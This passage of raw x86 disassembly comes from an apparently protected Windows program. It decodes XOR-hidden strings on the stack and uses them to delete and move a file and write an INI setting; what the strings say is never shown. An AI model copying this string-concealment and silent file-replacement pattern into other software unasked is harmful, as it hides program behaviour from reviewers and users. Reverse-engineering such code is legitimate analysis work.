push eax
movaps xmmword [ebp - 0xf50], xmm1
call fcn.0045e6a0
sub esp, 0x18
mov byte [ebp - 4], 0x13
lea ecx, [ebp - 0x8e8]
mov dword [ebp - 0x2bf4], esp
mov esi, esp
call fcn.0045e8e0
push eax
mov ecx, esi
call fcn.0045ebf0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x948]
mov ecx, esp
push eax
call fcn.0045ec30
mov ecx, edi
mov byte [ebp - 4], 5
call fcn.00453a30
add esp, 0x48
cmp byte [0x6806d9], 0
je 0x459902
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1dd0]
mov dword [ebp - 0x1e00], 0xe698e9e2
push eax
lea eax, [ebp - 0x1e00]
mov dword [ebp - 0x1dfc], 0x10dc68e1
push eax
lea ecx, [ebp - 0x33d8]
mov dword [ebp - 0x1df8], 0x4b4ec1b2
mov dword [ebp - 0x1df4], 0xbc0de793
mov dword [ebp - 0x1df0], 0x2c945977
mov dword [ebp - 0x1dec], 0xcf9b5f0b
mov dword [ebp - 0x1de8], 0xad0d24ac
mov dword [ebp - 0x1de4], 0x9716a2e4
mov dword [ebp - 0x1de0], 0xac7c51d7
mov dword [ebp - 0x1ddc], 0x453e7818
mov dword [ebp - 0x1dd8], 0x2e3c550a
mov dword [ebp - 0x1dd4], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1e00]
mov dword [ebp - 0x8a0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1e30]
mov dword [ebp - 0x89c], 0x10af688f
push eax
lea ecx, [ebp - 0x33d0]
mov dword [ebp - 0x1e30], 0xe6f7e9a1
mov dword [ebp - 0x1e2c], 0x10af688f
mov dword [ebp - 0x898], 0x4b3cc1c6
mov dword [ebp - 0x894], 0xbc6ee7e6
mov dword [ebp - 0x1e28], 0x4b3cc1c6
mov dword [ebp - 0x1e24], 0xbc6ee7e6
mov dword [ebp - 0x890], 0x2cfb5903
mov dword [ebp - 0x88c], 0xcfb55f79
mov dword [ebp - 0x1e20], 0x2cfb5903
mov dword [ebp - 0x1e1c], 0xcfb55f79
mov dword [ebp - 0x888], 0xad6124c8
mov dword [ebp - 0x884], 0x9738a288
mov dword [ebp - 0x1e18], 0xad6124c8
mov dword [ebp - 0x1e14], 0x9738a288
mov dword [ebp - 0x880], 0xac1d51b5
mov dword [ebp - 0x87c], 0x453e7873
mov dword [ebp - 0x1e10], 0xac1d51b5
mov dword [ebp - 0x1e0c], 0x453e7873
mov dword [ebp - 0x878], 0x2e3c550a
mov dword [ebp - 0x874], 0x6b38d9fa
mov dword [ebp - 0x1e08], 0x2e3c550a
mov dword [ebp - 0x1e04], 0x6b38d9fa
call fcn.0045f990
lea eax, [ebp - 0x1e30]
mov dword [ebp - 0x1130], 0xe698e9e2
push eax
lea eax, [ebp - 0x1e60]
mov dword [ebp - 0x112c], 0x10dc68e1
push eax
lea ecx, [ebp - 0x33c8]
mov dword [ebp - 0x1e60], 0xe698e9e2
mov dword [ebp - 0x1e5c], 0x10dc68e1
mov dword [ebp - 0x1128], 0x4b4ec1b2
mov dword [ebp - 0x1124], 0xbc0de793
mov dword [ebp - 0x1e58], 0x4b4ec1b2
mov dword [ebp - 0x1e54], 0xbc0de793
mov dword [ebp - 0x1120], 0x2c945977
mov dword [ebp - 0x111c], 0xcf9b5f0b
mov dword [ebp - 0x1e50], 0x2c945977
mov dword [ebp - 0x1e4c], 0xcf9b5f0b
mov dword [ebp - 0x1118], 0xad0d24ac
mov dword [ebp - 0x1114], 0x9716a2e4
mov dword [ebp - 0x1e48], 0xad0d24ac
mov dword [ebp - 0x1e44], 0x9716a2e4
mov dword [ebp - 0x1110], 0xac7c51d7
mov dword [ebp - 0x110c], 0x453e7818
mov dword [ebp - 0x1e40], 0xac7c51d7
mov dword [ebp - 0x1e3c], 0x453e7818
mov dword [ebp - 0x1108], 0x2e3c550a
mov dword [ebp - 0x1104], 0x6b38d9fa
mov dword [ebp - 0x1e38], 0x2e3c550a
mov dword [ebp - 0x1e34], 0x6b38d9fa
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8a0]
pxor xmm1, xmmword [ebp - 0x1130]
movaps xmmword [ebp - 0x1130], xmm1
movaps xmm1, xmmword [ebp - 0x1120]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x890]
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
push 0
push eax
movaps xmmword [ebp - 0x1120], xmm1
lea eax, [ebp - 0x1130]
movaps xmm1, xmmword [ebp - 0x1110]
pxor xmm1, xmmword [ebp - 0x880]
push 0x104
push eax
movaps xmmword [ebp - 0x1110], xmm1
call edi
lea eax, [ebp - 0x1540]
mov dword [ebp - 0x1560], 0xe698e9e2
push eax
lea eax, [ebp - 0x1560]
mov dword [ebp - 0x155c], 0x10dc68e1
push eax
lea ecx, [ebp - 0x33c0]
mov dword [ebp - 0x1558], 0x4b4ec1b2
mov dword [ebp - 0x1554], 0xbc0de793
mov dword [ebp - 0x1550], 0x2c945977
mov dword [ebp - 0x154c], 0xcf9b5f0b
mov dword [ebp - 0x1548], 0xad0d24ac
mov dword [ebp - 0x1544], 0x9738a2e4
call fcn.0045f990
lea eax, [ebp - 0x1520]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1540]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x33b8]
mov dword [ebp - 0x1540], 0xe6f7e9a1
mov dword [ebp - 0x153c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1538], 0x4b3cc1c6
mov dword [ebp - 0x1534], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1530], 0x2cfb5903
mov dword [ebp - 0x152c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1528], 0xad6124c8
mov dword [ebp - 0x1524], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1500]
mov dword [ebp - 0xf80], 0xe698e9e2
push eax
lea eax, [ebp - 0x1520]
mov dword [ebp - 0xf7c], 0x10dc68e1
push eax
lea ecx, [ebp - 0x33b0]
mov dword [ebp - 0x1520], 0xe698e9e2
mov dword [ebp - 0x151c], 0x10dc68e1
mov dword [ebp - 0xf78], 0x4b4ec1b2
mov dword [ebp - 0xf74], 0xbc0de793
mov dword [ebp - 0x1518], 0x4b4ec1b2
mov dword [ebp - 0x1514], 0xbc0de793
mov dword [ebp - 0xf70], 0x2c945977
mov dword [ebp - 0xf6c], 0xcf9b5f0b
mov dword [ebp - 0x1510], 0x2c945977
mov dword [ebp - 0x150c], 0xcf9b5f0b
mov dword [ebp - 0xf68], 0xad0d24ac
mov dword [ebp - 0xf64], 0x9738a2e4
mov dword [ebp - 0x1508], 0xad0d24ac
mov dword [ebp - 0x1504], 0x9738a2e4
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xf80]
lea eax, [ebp - 0x638]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xf80], xmm1
movaps xmm1, xmmword [ebp - 0xf70]
pxor xmm1, xmmword [ebp - 0x850]
push 0
movaps xmmword [ebp - 0xf70], xmm1
push eax
push 0x104
lea eax, [ebp - 0xf80]
push eax
call edi
lea eax, [ebp - 0x638]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea eax, [ebp - 0x638]
push eax
lea eax, [ebp - 0x228]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
test eax, eax
jne 0x459908
call esi
mov esi, eax
mov dword [ebp - 0x21a0], 0x83d787e0
lea eax, [ebp - 0x2160]
mov dword [ebp - 0x219c], 0x62c01afd
push eax
lea eax, [ebp - 0x21a0]
mov dword [ebp - 0x2198], 0x385db6e6
push eax
lea ecx, [ebp - 0x33a8]
mov dword [ebp - 0x2194], 0xdf0d88c6
mov dword [ebp - 0x2190], 0x489e2b76
mov dword [ebp - 0x218c], 0xaadd2859
mov dword [ebp - 0x2188], 0xc81304a6
mov dword [ebp - 0x2184], 0xe557d6fb
mov dword [ebp - 0x2180], 0x8c7a3fdc
mov dword [ebp - 0x217c], 0x65723437
mov dword [ebp - 0x2178], 0x5c4e3022
mov dword [ebp - 0x2174], 0x818ab95
mov dword [ebp - 0x2170], 0x26a5f358
mov dword [ebp - 0x216c], 0x22037dad
mov dword [ebp - 0x2168], 0x832f9246
mov dword [ebp - 0x2164], 0x7cc820ac
call fcn.0045f990
lea eax, [ebp - 0x21a0]
mov dword [ebp - 0x8b0], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x21e0]
mov dword [ebp - 0x8ac], 0x10af688f
push eax
lea ecx, [ebp - 0x33a0]
mov dword [ebp - 0x21e0], 0xe6f7e9a1
mov dword [ebp - 0x21dc], 0x10af688f
mov dword [ebp - 0x8a8], 0x4b3cc1c6
mov dword [ebp - 0x8a4], 0xbc6ee7e6
mov dword [ebp - 0x21d8], 0x4b3cc1c6
mov dword [ebp - 0x21d4], 0xbc6ee7e6
mov dword [ebp - 0x8a0], 0x2cfb5903
mov dword [ebp - 0x89c], 0xcfb55f79
mov dword [ebp - 0x21d0], 0x2cfb5903
mov dword [ebp - 0x21cc], 0xcfb55f79
mov dword [ebp - 0x898], 0xad6124c8
mov dword [ebp - 0x894], 0x9738a288
mov dword [ebp - 0x21c8], 0xad6124c8
mov dword [ebp - 0x21c4], 0x9738a288
mov dword [ebp - 0x890], 0xac1d51b5
mov dword [ebp - 0x88c], 0x453e7873
mov dword [ebp - 0x21c0], 0xac1d51b5
mov dword [ebp - 0x21bc], 0x453e7873
mov dword [ebp - 0x888], 0x2e3c550a
mov dword [ebp - 0x884], 0x6b38d9fa
mov dword [ebp - 0x21b8], 0x2e3c550a
mov dword [ebp - 0x21b4], 0x6b38d9fa
mov dword [ebp - 0x880], 0x1cc09737
mov dword [ebp - 0x87c], 0xb67588d
mov dword [ebp - 0x21b0], 0x1cc09737
mov dword [ebp - 0x21ac], 0xb67588d
mov dword [ebp - 0x878], 0x832f924c
mov dword [ebp - 0x874], 0x7cc820ac
mov dword [ebp - 0x21a8], 0x832f924c
mov dword [ebp - 0x21a4], 0x7cc820ac
call fcn.0045f990
mov dword [ebp - 0x1290], 0x83d787e0
mov dword [ebp - 0x128c], 0x62c01afd
mov dword [ebp - 0x2220], 0x83d787e0
mov dword [ebp - 0x221c], 0x62c01afd
mov dword [ebp - 0x1288], 0x385db6e6
mov dword [ebp - 0x1284], 0xdf0d88c6
mov dword [ebp - 0x2218], 0x385db6e6
mov dword [ebp - 0x2214], 0xdf0d88c6
mov dword [ebp - 0x1280], 0x489e2b76
mov dword [ebp - 0x127c], 0xaadd2859
mov dword [ebp - 0x2210], 0x489e2b76
mov dword [ebp - 0x220c], 0xaadd2859
mov dword [ebp - 0x1278], 0xc81304a6
mov dword [ebp - 0x1274], 0xe557d6fb
mov dword [ebp - 0x2208], 0xc81304a6
mov dword [ebp - 0x2204], 0xe557d6fb
mov dword [ebp - 0x1270], 0x8c7a3fdc
mov dword [ebp - 0x126c], 0x65723437
mov dword [ebp - 0x2200], 0x8c7a3fdc
lea eax, [ebp - 0x21e0]
mov dword [ebp - 0x21fc], 0x65723437
push eax
lea eax, [ebp - 0x2220]
mov dword [ebp - 0x1268], 0x5c4e3022
push eax
lea ecx, [ebp - 0x3398]
mov dword [ebp - 0x1264], 0x818ab95
mov dword [ebp - 0x21f8], 0x5c4e3022
mov dword [ebp - 0x21f4], 0x818ab95
mov dword [ebp - 0x1260], 0x26a5f358
mov dword [ebp - 0x125c], 0x22037dad
mov dword [ebp - 0x21f0], 0x26a5f358
mov dword [ebp - 0x21ec], 0x22037dad
mov dword [ebp - 0x1258], 0x832f9246
mov dword [ebp - 0x1254], 0x7cc820ac
mov dword [ebp - 0x21e8], 0x832f9246
mov dword [ebp - 0x21e4], 0x7cc820ac
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x8b0]
lea eax, [ebp - 0x1290]
pxor xmm1, xmmword [ebp - 0x1290]
movaps xmmword [ebp - 0x1290], xmm1
movaps xmm1, xmmword [ebp - 0x1280]
pxor xmm1, xmmword [ebp - 0x8a0]
movaps xmmword [ebp - 0x1280], xmm1
movaps xmm1, xmmword [ebp - 0x1270]
pxor xmm1, xmmword [ebp - 0x890]
movaps xmmword [ebp - 0x1270], xmm1
movaps xmm1, xmmword [ebp - 0x1260]
pxor xmm1, xmmword [ebp - 0x880]
push esi
push eax
movaps xmmword [ebp - 0x1260], xmm1
call fcn.0044b300
add esp, 8
mov dword [ebp - 0x2f38], 0xb5a2a8f1
lea eax, [ebp - 0x2f28]
mov dword [ebp - 0x2f34], 0x10af68ca
lea ecx, [ebp - 0x3390]
mov dword [ebp - 0x2f30], 0x4b3cc1c6
mov dword [ebp - 0x2f2c], 0xbc6ee7e6
push eax
lea eax, [ebp - 0x2f38]
push eax
call fcn.0045f990
lea eax, [ebp - 0x2f38]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3388]
mov dword [ebp - 0x2f48], 0xe6f7e9a1
mov dword [ebp - 0x2f44], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2f40], 0x4b3cc1c6
mov dword [ebp - 0x2f3c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2f48]
mov dword [ebp - 0xc10], 0xb5a2a8f1
push eax
lea eax, [ebp - 0x2f58]
mov dword [ebp - 0xc0c], 0x10af68ca
push eax
lea ecx, [ebp - 0x3380]
mov dword [ebp - 0x2f58], 0xb5a2a8f1
mov dword [ebp - 0x2f54], 0x10af68ca
mov dword [ebp - 0xc08], 0x4b3cc1c6
mov dword [ebp - 0xc04], 0xbc6ee7e6
mov dword [ebp - 0x2f50], 0x4b3cc1c6
mov dword [ebp - 0x2f4c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc10]
lea eax, [ebp - 0xc10]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc10], xmm1
call fcn.005d6a9d
add esp, 4
lea ecx, [ebp - 0x13e0]
call fcn.0045eaa0
lea ecx, [ebp - 0x8e8]
call fcn.0045eaa0
lea ecx, [ebp - 0x900]
call fcn.0045eaa0
jmp 0x45d5a1
mov edi, dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
call dword [sym.imp.WS2_32.dll_WSACleanup]
push 0x208
lea eax, [ebp - 0x228]
push 0
push eax
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x1500], 0xe698e9e2
lea eax, [ebp - 0x14e0]
mov dword [ebp - 0x14fc], 0x10dc68e1
lea ecx, [ebp - 0x3378]
mov dword [ebp - 0x14f8], 0x4b4ec1b2
mov dword [ebp - 0x14f4], 0xbc0de793
push eax
lea eax, [ebp - 0x1500]
mov dword [ebp - 0x14f0], 0x2c945977
push eax
mov dword [ebp - 0x14ec], 0xcf9b5f0b
mov dword [ebp - 0x14e8], 0xad0d24ac
mov dword [ebp - 0x14e4], 0x9738a2e4
call fcn.0045f990
lea eax, [ebp - 0x14c0]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x14e0]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3370]
mov dword [ebp - 0x14e0], 0xe6f7e9a1
mov dword [ebp - 0x14dc], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x14d8], 0x4b3cc1c6
mov dword [ebp - 0x14d4], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x14d0], 0x2cfb5903
mov dword [ebp - 0x14cc], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x14c8], 0xad6124c8
mov dword [ebp - 0x14c4], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0xc40], 0xe698e9e2
push eax
lea eax, [ebp - 0x14c0]
mov dword [ebp - 0xc3c], 0x10dc68e1
push eax
lea ecx, [ebp - 0x3368]
mov dword [ebp - 0x14c0], 0xe698e9e2
mov dword [ebp - 0x14bc], 0x10dc68e1
mov dword [ebp - 0xc38], 0x4b4ec1b2
mov dword [ebp - 0xc34], 0xbc0de793
mov dword [ebp - 0x14b8], 0x4b4ec1b2
mov dword [ebp - 0x14b4], 0xbc0de793
mov dword [ebp - 0xc30], 0x2c945977
mov dword [ebp - 0xc2c], 0xcf9b5f0b
mov dword [ebp - 0x14b0], 0x2c945977
mov dword [ebp - 0x14ac], 0xcf9b5f0b
mov dword [ebp - 0xc28], 0xad0d24ac
mov dword [ebp - 0xc24], 0x9738a2e4
mov dword [ebp - 0x14a8], 0xad0d24ac
mov dword [ebp - 0x14a4], 0x9738a2e4
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc40]
lea eax, [ebp - 0x228]
pxor xmm1, xmmword [ebp - 0x860]
push 0
push eax
movaps xmmword [ebp - 0xc40], xmm1
lea eax, [ebp - 0xc40]
movaps xmm1, xmmword [ebp - 0xc30]
pxor xmm1, xmmword [ebp - 0x850]
push 0x104
push eax
movaps xmmword [ebp - 0xc30], xmm1
call edi
push 0xc0
mov dl, 1
lea ecx, [ebp - 0x228]
call fcn.0044c4f0
add esp, 4
mov dword [ebp - 0x14a0], 0x8f82bfab
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x149c], 0x7ec004af
lea ecx, [ebp - 0x3360]
mov dword [ebp - 0x1498], 0x2357e1a1
mov dword [ebp - 0x1494], 0xd84e8e89
push eax
lea eax, [ebp - 0x14a0]
mov dword [ebp - 0x1490], 0xc9c376c
push eax
mov dword [ebp - 0x148c], 0xefd4361e
mov dword [ebp - 0x1488], 0x831145a4
mov dword [ebp - 0x1484], 0x9738a282
call fcn.0045f990
lea eax, [ebp - 0x1460]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1480]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3358]
mov dword [ebp - 0x1480], 0xe6f7e9a1
mov dword [ebp - 0x147c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1478], 0x4b3cc1c6
mov dword [ebp - 0x1474], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1470], 0x2cfb5903
mov dword [ebp - 0x146c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1468], 0xad6124c8
mov dword [ebp - 0x1464], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x1440]
mov dword [ebp - 0xc60], 0x8f82bfab
push eax
lea eax, [ebp - 0x1460]
mov dword [ebp - 0xc5c], 0x7ec004af
push eax
lea ecx, [ebp - 0x3350]
mov dword [ebp - 0x1460], 0x8f82bfab
mov dword [ebp - 0x145c], 0x7ec004af
mov dword [ebp - 0xc58], 0x2357e1a1
mov dword [ebp - 0xc54], 0xd84e8e89
mov dword [ebp - 0x1458], 0x2357e1a1
mov dword [ebp - 0x1454], 0xd84e8e89
mov dword [ebp - 0xc50], 0xc9c376c
mov dword [ebp - 0xc4c], 0xefd4361e
mov dword [ebp - 0x1450], 0xc9c376c
mov dword [ebp - 0x144c], 0xefd4361e
mov dword [ebp - 0xc48], 0x831145a4
mov dword [ebp - 0xc44], 0x9738a282
mov dword [ebp - 0x1448], 0x831145a4
mov dword [ebp - 0x1444], 0x9738a282
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc60]
lea eax, [ebp - 0xc60]
pxor xmm1, xmmword [ebp - 0x860]
movaps xmmword [ebp - 0xc60], xmm1
movaps xmm1, xmmword [ebp - 0xc50]
pxor xmm1, xmmword [ebp - 0x850]
push eax
movaps xmmword [ebp - 0xc50], xmm1
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x1440], 0xe685e9f5
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x143c], 0x10ec68f6
mov dword [ebp - 0x1438], 0x4b49c1a9
mov dword [ebp - 0x1434], 0xbc1ae788
push eax
mov dword [ebp - 0x1430], 0x2cfb5903
lea eax, [ebp - 0x1440]
mov dword [ebp - 0x142c], 0xcfb55f79
mov dword [ebp - 0x1428], 0xad6124c8
mov dword [ebp - 0x1424], 0x9738a288
push eax
lea ecx, [ebp - 0x3348]
call fcn.0045f990
lea eax, [ebp - 0x1400]
mov dword [ebp - 0x860], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x1420]
mov dword [ebp - 0x85c], 0x10af688f
push eax
lea ecx, [ebp - 0x3340]
mov dword [ebp - 0x1420], 0xe6f7e9a1
mov dword [ebp - 0x141c], 0x10af688f
mov dword [ebp - 0x858], 0x4b3cc1c6
mov dword [ebp - 0x854], 0xbc6ee7e6
mov dword [ebp - 0x1418], 0x4b3cc1c6
mov dword [ebp - 0x1414], 0xbc6ee7e6
mov dword [ebp - 0x850], 0x2cfb5903
mov dword [ebp - 0x84c], 0xcfb55f79
mov dword [ebp - 0x1410], 0x2cfb5903
mov dword [ebp - 0x140c], 0xcfb55f79
mov dword [ebp - 0x848], 0xad6124c8
mov dword [ebp - 0x844], 0x9738a288
mov dword [ebp - 0x1408], 0xad6124c8
mov dword [ebp - 0x1404], 0x9738a288
call fcn.0045f990
lea eax, [ebp - 0x13e0]
mov dword [ebp - 0xc80], 0xe685e9f5
push eax
lea eax, [ebp - 0x1400]
mov dword [ebp - 0xc7c], 0x10ec68f6
push eax
lea ecx, [ebp - 0x3338]
mov dword [ebp - 0x1400], 0xe685e9f5
mov dword [ebp - 0x13fc], 0x10ec68f6
mov dword [ebp - 0xc78], 0x4b49c1a9
mov dword [ebp - 0xc74], 0xbc1ae788
mov dword [ebp - 0x13f8], 0x4b49c1a9
mov dword [ebp - 0x13f4], 0xbc1ae788
mov dword [ebp - 0xc70], 0x2cfb5903
mov dword [ebp - 0xc6c], 0xcfb55f79
mov dword [ebp - 0x13f0], 0x2cfb5903
mov dword [ebp - 0x13ec], 0xcfb55f79
mov dword [ebp - 0xc68], 0xad6124c8
mov dword [ebp - 0xc64], 0x9738a288
mov dword [ebp - 0x13e8], 0xad6124c8
mov dword [ebp - 0x13e4], 0x9738a288
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc80]
lea eax, [ebp - 0x2f58]
pxor xmm1, xmmword [ebp - 0x860]
lea ecx, [ebp - 0x3330]
movaps xmmword [ebp - 0xc80], xmm1
movaps xmm1, xmmword [ebp - 0xc70]
pxor xmm1, xmmword [ebp - 0x850]
push eax
lea eax, [ebp - 0x2f68]
movaps xmmword [ebp - 0xc70], xmm1
push eax
mov dword [ebp - 0x2f68], 0xe6a3e9f3
mov dword [ebp - 0x2f64], 0x10af688f
mov dword [ebp - 0x2f60], 0x4b3cc1c6
mov dword [ebp - 0x2f5c], 0xbc6ee7e6
call fcn.0045f990
lea eax, [ebp - 0x2f68]
mov dword [ebp - 0x850], 0xe6f7e9a1
push eax
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0x84c], 0x10af688f
push eax
lea ecx, [ebp - 0x3328]
mov dword [ebp - 0x2f78], 0xe6f7e9a1
mov dword [ebp - 0x2f74], 0x10af688f
mov dword [ebp - 0x848], 0x4b3cc1c6
mov dword [ebp - 0x844], 0xbc6ee7e6
mov dword [ebp - 0x2f70], 0x4b3cc1c6
mov dword [ebp - 0x2f6c], 0xbc6ee7e6
call fcn.0045f990
mov dword [ebp - 0xc20], 0xe6a3e9f3
mov dword [ebp - 0xc1c], 0x10af688f
mov dword [ebp - 0x2f88], 0xe6a3e9f3
mov dword [ebp - 0x2f84], 0x10af688f
lea eax, [ebp - 0x2f78]
mov dword [ebp - 0xc18], 0x4b3cc1c6
push eax
lea eax, [ebp - 0x2f88]
mov dword [ebp - 0xc14], 0xbc6ee7e6
push eax
lea ecx, [ebp - 0x3320]
mov dword [ebp - 0x2f80], 0x4b3cc1c6
mov dword [ebp - 0x2f7c], 0xbc6ee7e6
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0xc20]
lea eax, [ebp - 0x430]
pxor xmm1, xmmword [ebp - 0x850]
push eax
push 0x66fe54
lea eax, [ebp - 0xc80]
movaps xmmword [ebp - 0xc20], xmm1
push eax
lea eax, [ebp - 0xc20]
push eax
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
push 0x720
lea eax, [ebp - 0x2a60]
mov dword [ebp - 0x2c14], 0
push 0
push eax
mov byte [ebp - 0x2bf5], 0
call fcn.005c9aa0
add esp, 0xc
mov dword [ebp - 0x22e0], 0x8a9e88e7
lea eax, [ebp - 0x22a0]
mov dword [ebp - 0x22dc], 0x648f0cea
lea ecx, [ebp - 0x3318]
mov dword [ebp - 0x22d8], 0x2555e1a9
mov dword [ebp - 0x22d4], 0xdd00938f
push eax
lea eax, [ebp - 0x22e0]
mov dword [ebp - 0x22d0], 0x4981306f
push eax
mov dword [ebp - 0x22cc], 0xe2db0959
mov dword [ebp - 0x22c8], 0x81194580
mov dword [ebp - 0x22c4], 0xfe40c7a8
mov dword [ebp - 0x22c0], 0xcb7338c1
mov dword [ebp - 0x22bc], 0x374c3d79
mov dword [ebp - 0x22b8], 0x4d1c2765
mov dword [ebp - 0x22b4], 0x515dbd95
mov dword [ebp - 0x22b0], 0x1ca4b217
mov dword [ebp - 0x22ac], 0xb67588d
mov dword [ebp - 0x22a8], 0x832f924c
mov dword [ebp - 0x22a4], 0x7cc820ac
call fcn.0045f990
mov dword [ebp - 0x8b0], 0xe6f7e9a1
mov dword [ebp - 0x8ac], 0x10af688f
mov dword [ebp - 0x2260], 0xe6f7e9a1
mov dword [ebp - 0x225c], 0x10af688f
mov dword [ebp - 0x8a8], 0x4b3cc1c6
mov dword [ebp - 0x8a4], 0xbc6ee7e6
mov dword [ebp - 0x2258], 0x4b3cc1c6
mov dword [ebp - 0x2254], 0xbc6ee7e6
mov dword [ebp - 0x8a0], 0x2cfb5903
mov dword [ebp - 0x89c], 0xcfb55f79
mov dword [ebp - 0x2250], 0x2cfb5903
mov dword [ebp - 0x224c], 0xcfb55f79
mov dword [ebp - 0x898], 0xad6124c8
mov dword [ebp - 0x894], 0x9738a288
mov dword [ebp - 0x2248], 0xad6124c8
mov dword [ebp - 0x2244], 0x9738a288
mov dword [ebp - 0x890], 0xac1d51b5
mov dword [ebp - 0x88c], 0x453e7873
mov dword [ebp - 0x2240], 0xac1d51b5
mov dword [ebp - 0x223c], 0x453e7873
mov dword [ebp - 0x888], 0x2e3c550a
mov dword [ebp - 0x884], 0x6b38d9fa
mov dword [ebp - 0x2238], 0x2e3c550a
mov dword [ebp - 0x2234], 0x6b38d9fa
mov dword [ebp - 0x880], 0x1cc09737
mov dword [ebp - 0x87c], 0xb67588d
mov dword [ebp - 0x2230], 0x1cc09737
mov dword [ebp - 0x222c], 0xb67588d
mov dword [ebp - 0x878], 0x832f924c
mov dword [ebp - 0x874], 0x7cc820ac
lea eax, [ebp - 0x2220]
mov dword [ebp - 0x2228], 0x832f924c
push eax
lea eax, [ebp - 0x2260]
mov dword [ebp - 0x2224], 0x7cc820ac
push eax
lea ecx, [ebp - 0x3310]
call fcn.0045f990
lea eax, [ebp - 0x2260]
mov dword [ebp - 0x12d0], 0x8a9e88e7
push eax
lea eax, [ebp - 0x22a0]
mov dword [ebp - 0x12cc], 0x648f0cea
push eax
lea ecx, [ebp - 0x3308]
mov dword [ebp - 0x22a0], 0x8a9e88e7
mov dword [ebp - 0x229c], 0x648f0cea
mov dword [ebp - 0x12c8], 0x2555e1a9
mov dword [ebp - 0x12c4], 0xdd00938f
mov dword [ebp - 0x2298], 0x2555e1a9
mov dword [ebp - 0x2294], 0xdd00938f
mov dword [ebp - 0x12c0], 0x4981306f
mov dword [ebp - 0x12bc], 0xe2db0959
mov dword [ebp - 0x2290], 0x4981306f
mov dword [ebp - 0x228c], 0xe2db0959
mov dword [ebp - 0x12b8], 0x81194580
mov dword [ebp - 0x12b4], 0xfe40c7a8
mov dword [ebp - 0x2288], 0x81194580
mov dword [ebp - 0x2284], 0xfe40c7a8
mov dword [ebp - 0x12b0], 0xcb7338c1
mov dword [ebp - 0x12ac], 0x374c3d79
mov dword [ebp - 0x2280], 0xcb7338c1
mov dword [ebp - 0x227c], 0x374c3d79
mov dword [ebp - 0x12a8], 0x4d1c2765
mov dword [ebp - 0x12a4], 0x515dbd95
mov dword [ebp - 0x2278], 0x4d1c2765
mov dword [ebp - 0x2274], 0x515dbd95
mov dword [ebp - 0x12a0], 0x1ca4b217
mov dword [ebp - 0x129c], 0xb67588d
mov dword [ebp - 0x2270], 0x1ca4b217
mov dword [ebp - 0x226c], 0xb67588d
mov dword [ebp - 0x1298], 0x832f924c
mov dword [ebp - 0x1294], 0x7cc820ac
mov dword [ebp - 0x2268], 0x832f924c
mov dword [ebp - 0x2264], 0x7cc820ac
call fcn.0045f990
movaps xmm1, xmmword [ebp - 0x12d0]
xor ecx, ecx
pxor xmm1, xmmword [ebp - 0x8b0]
